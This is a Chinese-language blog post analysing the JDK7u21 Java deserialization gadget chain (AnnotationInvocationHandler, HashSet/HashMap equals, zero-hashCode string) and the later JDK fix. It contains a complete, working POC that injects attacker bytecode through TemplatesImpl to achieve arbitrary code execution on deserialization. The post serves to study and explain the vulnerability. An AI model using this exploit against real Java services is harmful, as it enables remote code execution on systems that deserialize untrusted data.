07jdk7u21原生利用链

news/2025/1/14 19:04:39/文章来源:https://www.cnblogs.com/LSF2456/p/18671404

JDK7u21

反序列化的关键

  • 在于找到可以动态方法执行的代码:例如CC链中的Transformer,CB链中的PropertyUtils#getProperty

JDK7u21中动态方法执行的点,AnnotationInvocationHandler#equalsImpl中的hisValue = memberMethod.invoke(o)

private Boolean equalsImpl(Object o) {if (o == this)return true;if (!type.isInstance(o))return false;for (Method memberMethod : getMemberMethods()) {String member = memberMethod.getName();Object ourValue = memberValues.get(member);Object hisValue = null;AnnotationInvocationHandler hisHandler = asOneOfUs(o);if (hisHandler != null) {hisValue = hisHandler.memberValues.get(member);} else {try {hisValue = memberMethod.invoke(o);} catch (InvocationTargetException e) {return false;} catch (IllegalAccessException e) {throw new AssertionError(e);}}if (!memberValueEquals(ourValue, hisValue))return false;}return true;}private Method[] getMemberMethods() {if (memberMethods == null) {memberMethods = AccessController.doPrivileged(new PrivilegedAction<Method[]>() {public Method[] run() {final Method[] mm = type.getDeclaredMethods();validateAnnotationMethods(mm);AccessibleObject.setAccessible(mm, true);return mm;}});}return memberMethods;}

AnnotationInvocationHandler#equalsImpl是一个私有方法,仅在AnnotationInvocationHandler#invoke中被调用,它遍历执行了this.type的所有方法,如果这里的this.type为TemplatesImpl,那就可以实现任意代码执行。

public Object invoke(Object proxy, Method method, Object[] args) {String member = method.getName();Class<?>[] paramTypes = method.getParameterTypes();// Handle Object and Annotation methodsif (member.equals("equals") && paramTypes.length == 1 &&paramTypes[0] == Object.class)return equalsImpl(args[0]);if (paramTypes.length != 0)throw new AssertionError("Too many parameters for an annotation method");switch(member) {case "toString":return toStringImpl();case "hashCode":return hashCodeImpl();case "annotationType":return type;}// Handle annotation member accessorsObject result = memberValues.get(member);if (result == null)throw new IncompleteAnnotationException(type, member);if (result instanceof ExceptionProxy)throw ((ExceptionProxy) result).generateException();if (result.getClass().isArray() && Array.getLength(result) != 0)result = cloneArray(result);return result;}

前面找到动态代码执行的关键后,构造链条的关键即在于如何调用equalsImpl和equalsImpl如何进行任意代码执行。

如何调用equalsImpl

由于AnnotationInvocationHandler实现了接口InvocationHandler,这里很明显可以采用CC1中用到的动态代理调用AnnotationInvocationHandler#invoke,但是注意到invoke的代码逻辑,我们代理的对象,必须是调用名为equals且只有一个Object类型的参数时,才会触发equalsImpl。

找到equals调用链

equals方法通常用于比较两个对象是否是同一引用,一个常见场景是集合set,集合是不允许重复对象的,所以在添加对象时势必涉及到比较操作。

// HashSet#readObject
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {// Read in any hidden serialization magics.defaultReadObject();// Read capacity and verify non-negative.int capacity = s.readInt();if (capacity < 0) {throw new InvalidObjectException("Illegal capacity: " +capacity);}// Read load factor and verify positive and non NaN.float loadFactor = s.readFloat();if (loadFactor <= 0 || Float.isNaN(loadFactor)) {throw new InvalidObjectException("Illegal load factor: " +loadFactor);}// Read size and verify non-negative.int size = s.readInt();if (size < 0) {throw new InvalidObjectException("Illegal size: " +size);}// Set the capacity according to the size and load factor ensuring that// the HashMap is at least 25% full but clamping to maximum capacity.capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),HashMap.MAXIMUM_CAPACITY);// Create backing HashMapmap = (((HashSet<?>)this) instanceof LinkedHashSet ?new LinkedHashMap<E,Object>(capacity, loadFactor) :new HashMap<E,Object>(capacity, loadFactor));// Read in all elements in the proper order.for (int i=0; i<size; i++) {@SuppressWarnings("unchecked")E e = (E) s.readObject();map.put(e, PRESENT);}}

HashSet在readObject时,通过HashMap来保证集合的一些特性,向HashMap内部追溯,寻找equals操作。

// jdk8u21 hashmappublic V put(K key, V value) {if (key == null)return putForNullKey(value);int hash = hash(key);int i = indexFor(hash, table.length);for (Entry<K,V> e = table[i]; e != null; e = e.next) {Object k;if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {V oldValue = e.value;e.value = value;e.recordAccess(this);return oldValue;}}modCount++;addEntry(hash, key, value, i);return null;}

下面我们来详细分析HashMap#putVal:

  1. 首先判断传入的 key 是否为 null。如果是,则调用 putForNullKey() 方法处理这种特殊情况。
  2. 计算 key 的哈希值,并使用 indexFor() 方法根据哈希值和当前 HashMap 的长度计算出该键值对在 table 数组中的索引位置 i
  3. 然后遍历位于索引 i 处的链表,检查是否已经存在与传入的 key 相等的键值对。
    • 如果找到了,则更新该键值对的 value 值,并返回旧的 value 值。
    • 如果没找到,则跳出循环。
  4. 如果遍历完链表后仍未找到与传入的 key 相等的键值对,则调用 addEntry() 方法,将新的键值对添加到 HashMap 中。
  5. 最后,更新 modCount 变量,该变量用于记录 HashMap 结构发生变化的次数。
 if (e.hash == hash && ((k = e.key) == key || key.equals(k)))

关键代码在这里,由于||运算符的惰性运算,我们比较的两个对象必须满足hash值相同且key不同,才能触发后面的key.equals(k),这里key是代理对象,k是TemplatesImpl,即可进行任意代码执行。

找到合适的proxy对象,使得其hash和TemplatesImpl的hash相等

查看HashMap的hash函数

final int hash(Object k) {int h = 0;// 是否启用备用hash算法,一般情况下不启用,可忽略if (useAltHashing) {if (k instanceof String) {return sun.misc.Hashing.stringHash32((String) k);}h = hashSeed;}h ^= k.hashCode();// This function ensures that hashCodes that differ only by// constant multiples at each bit position have a bounded// number of collisions (approximately 8 at default load factor).h ^= (h >>> 20) ^ (h >>> 12);return h ^ (h >>> 7) ^ (h >>> 4);}

这里k.hashCode()作为产生hash的唯一变量,由于TemplateImpl的hashCode方法是一个Native方法,我们不好追溯,因此选择看一下代理对象的hashCode,而proxy.hashCode() 仍然会调用到 AnnotationInvocationHandler#invoke ,进而调用到 AnnotationInvocationHandler#hashCodeImpl

private int hashCodeImpl() {int result = 0;for (Map.Entry<String, Object> e : memberValues.entrySet()) {result += (127 * e.getKey().hashCode()) ^memberValueHashCode(e.getValue());}return result;}private static int memberValueHashCode(Object value) {Class<?> type = value.getClass();if (!type.isArray())    // primitive, string, class, enum const,// or annotationreturn value.hashCode();// ......}

这里代码逻辑很简答,遍历 memberValues 这个Map中的每个key和value,计算每个 (127 * key.hashCode()) ^ value.hashCode() 并求和。

我们如何构造一个和恶意TemplateImpl的hash值一致的代理对象呢,JDK7u21中使用了一个非常巧妙的方法:

  • 当 memberValues 中只有一个key和一个value时,该哈希简化成 (127 * key.hashCode()) ^ value.hashCode()
  • 当 key.hashCode() 等于0时,任何数异或0的结果仍是他本身,所以该哈希简化成 value.hashCode() 。
  • 当 value 就是TemplateImpl对象时,这两个哈希就变成完全相等
 public static void bruteHashCode(){for (long i = 0; i < 9999999999L; i++) {if (Long.toHexString(i).hashCode() == 0) {System.out.println(Long.toHexString(i));}}}

可以通过一个简单的爆破程序找到一个hash值为0的字符串

POC代码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;public class JDK7u21 {public static void main(String[] args) throws Exception {byte[] classBytes = Files.readAllBytes(Paths.get("your\\class\\path"));TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_bytecodes", new byte[][]{classBytes});setFieldValue(templates, "_name", "CalcExample");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());String zeroHashCodeStr = "f5a5a608";// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值HashMap map = new HashMap();map.put(zeroHashCodeStr, "foo");// 实例化AnnotationInvocationHandler类Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);handlerConstructor.setAccessible(true);InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);// 为tempHandler创造一层代理Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);// 实例化HashSet,并将两个对象放进去HashSet set = new LinkedHashSet();set.add(templates);set.add(proxy);// 将恶意templates设置到map中map.put(zeroHashCodeStr, templates);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(set);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}}

注意这里代码添加的顺序

set.add(templates);
set.add(proxy);

在hash表中,同一hash地址对应的链表中的元素是有先后顺序的,我们要保证key.equals(k)的k是恶意TemplatesImpl,key是代理对象,而不是反过来。

poc代码中的两个问题

有两个小问题,InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map); 1.为啥可以传递Templates.class进去,要求不是继承或实现了Annotation 接口的class吗 2.第一个参数传Templates.class是因为这个接口的实现类只有TemplatesImpl 这一个吗,后面type遍历也能调方法

解答:

联想到cc1,我当时也有这个疑问。后面看了一下,可能是和不同jdk版本的AnnotationInvocationHandler实现不同,我看了jdk7u21和jdk8u66这两个版本的构造函数是不一样的,7u21中AnnotationInvocationHandler(Class var1, Map var2) { this.type = var1; this.memberValues = var2; } 8u66中AnnotationInvocationHandler(Class type, Map memberValues) { Class[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); this.type = type; this.memberValues = memberValues; } 这里Class<? extends Annotation>泛型检查只有编译阶段有,所以参数传入是没什么问题的,8u66中主要是if判断不符合类型要求会抛出异常。

修复

image-20240805153347656

在 sun.reflect.annotation.AnnotationInvocationHandler 类的readObject函数中,原本有一个 对 this.type 的检查,在其不是AnnotationType的情况下,会抛出一个异常。但是,捕获到异常后没 有做任何事情,只是将这个函数返回了,这样并不影响整个反序列化的执行过程。 新版中,将 return; 修改成throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); ,这样,反序列化时会出现一个异常,导致整个过程停止。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/869209.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

英语语法(介词和连词)

认识介词 例子: 例子: 识别介词 时间介词 at 精确的时间 by 不缺定的时间 for 持续的时间 in 固定的时间 on 某一天的时间 since 开始时间 until 直到 空间介词 at 指一个点 by 近的意思 from 从别处到这里 in 一个封闭的区域 off 离开 on 开启 out 方向 远离…

一文读懂如何创建食品加工和包装 SOP

在食品行业中,确保产品的安全性和质量是至关重要的。为了实现这一目标,建立一套详尽且高效的标准操作程序(SOP)对于食品加工与包装环节来说不可或缺。本文将引导您深入理解如何高效创建食品加工与包装SOP,并巧妙融入helplook工具,以提升流程管理的精确性和效率。一、明确…

高性能、零内存分配的Go日志库--Zerolog

简介 Zerolog 是一个高性能、零内存分配的 Go 日志库。 它为不需要垃圾回收的延迟敏感型应用程序提供结构化日志记录功能。 您可以以完全零分配的方式使用,这样在初始化记录器对象后,堆上不会再分配其他对象,从而防止触发垃圾回收。 Zerolog 包提供了一个专用于 JSON 输出的…

Jar Analyzer:JAR包分析工具

工具介绍 一个JAR包分析工具,批量分析,SCA漏洞分析,方法调用关系搜索,字符串搜索,Spring组件分析,信息泄露检查,CFG程序分析,JVM栈帧分析,进阶表达式搜索,字节码指令级的动态调试分析,反编译JAR包一键导出,一键提取序列化数据恶意代码,一键分析BCEL字节码。 Jar A…

第二十次作业

1、对bluecms进行代码审计,分析复现文件上传、ssti模板注入、文件删除等漏洞 文件上传:ssti模板注入: bluecms采⽤了smarty模板引擎可以在模板中插⼊恶意的代码,从⽽执⾏任意命令。此处可知smarty使⽤的界定符为{#和#},参考smarty官⽅⽂档可知,可以使⽤{#php#}code{#/php…

【JAVA开发】企业Java开发:七款提升开发者工作效率的Java分析工具

一、引言 编写正确的代码至关重要,但同样重要的是理解代码在实际环境中的表现。Java 分析工具在这方面提供了极大的便利,它们可以帮助您深入了解程序的内部运作。虽然进行性能分析可能需要额外的时间投入,但它最终能够为您节省大量调试时间。 Java 分析器提供了关于 CPU 使用…

JS-32 数组方法_shift()/unshift()

shift方法用于删除数组的第一个元素,并返回该元素。注意,该方法会改变原数组 var arr=[字符串,zifuchuan,前端]; arr.shift()//字符串 arr//[zifuchuan,前端] shift方法可以遍历并清空一个数组 var list=[1,2,3,4,5,6]; var item;while(item=list.shift()){ console.log(ite…

【勒索病☠】盘点全球主流Linux平台的勒索病毒

前言 美国网络信息安全公司CrowdStrike在2021年的攻击数据报告中,总结与2020年度相比,2021年度针对Linux系统的恶意软件增加了35%,其实最近几年针对Linux平台下的恶意软件数据一直在不断的增加,这些恶意软件主要包含僵尸网络、挖矿病毒、勒索病毒、远控木马等,随着云计算平…

再谈Redux

2025年再聊前端状态管理似乎是一件不必要的事,毕竟相关文章已堆积得如山如海。但在这些文章或视频内容中,我并没有找到自己喜欢的方案,准确的说是使用方式。所以这篇文章不做技术分析,主要聊聊个人对状态管理的理解,并分享独特的redux使用的方式。 状态管理 先分享一个有趣…

中考英语优秀范文-热点话题-传统文化-005 Our Schools Food Festival 我们学校的美食节

1 写作要求 中国饮食文化博大精深。假如你是李明,上周你校开展了以“品中华美食,传承中华文化”为主题的校园美食节活动。请你根据以下图示提示,用英语给你的英国笔友Mike写一封电子邮件,分享本次活动的过程和感受。 要求: 1 电子邮件的内容必须包括图示中的所有要点,可适…

嵌入Embedding-计算理解语言的钥匙

定义: 将人类语言与数字建立联系的强大方法 嵌入技术的演变: Wod2VecCBOW(Continuous Bag of Words):根据上下文词汇预测目标词汇(情感分析、文本分类、词相似性) Skip-Gram:根据目标单词预测周围单词 在训练Word2Vec模型时,包含词典和词向量模型的训练 词典的构建是训…

ExcelConvert【Excel转换为XML JSON HTML CSV TXT】

ExcelConverter是用VB6开发的应用软件。 界面如下 第一部分:转换为XML 首先在Excel选择一部分数据。 软件里面勾选“首列作为元素名称”,单击“转换” 勾选与不勾选,得到如下XML数据,注意对比。<root><金龙宇 性别="男" 年龄="29" 民族=&qu…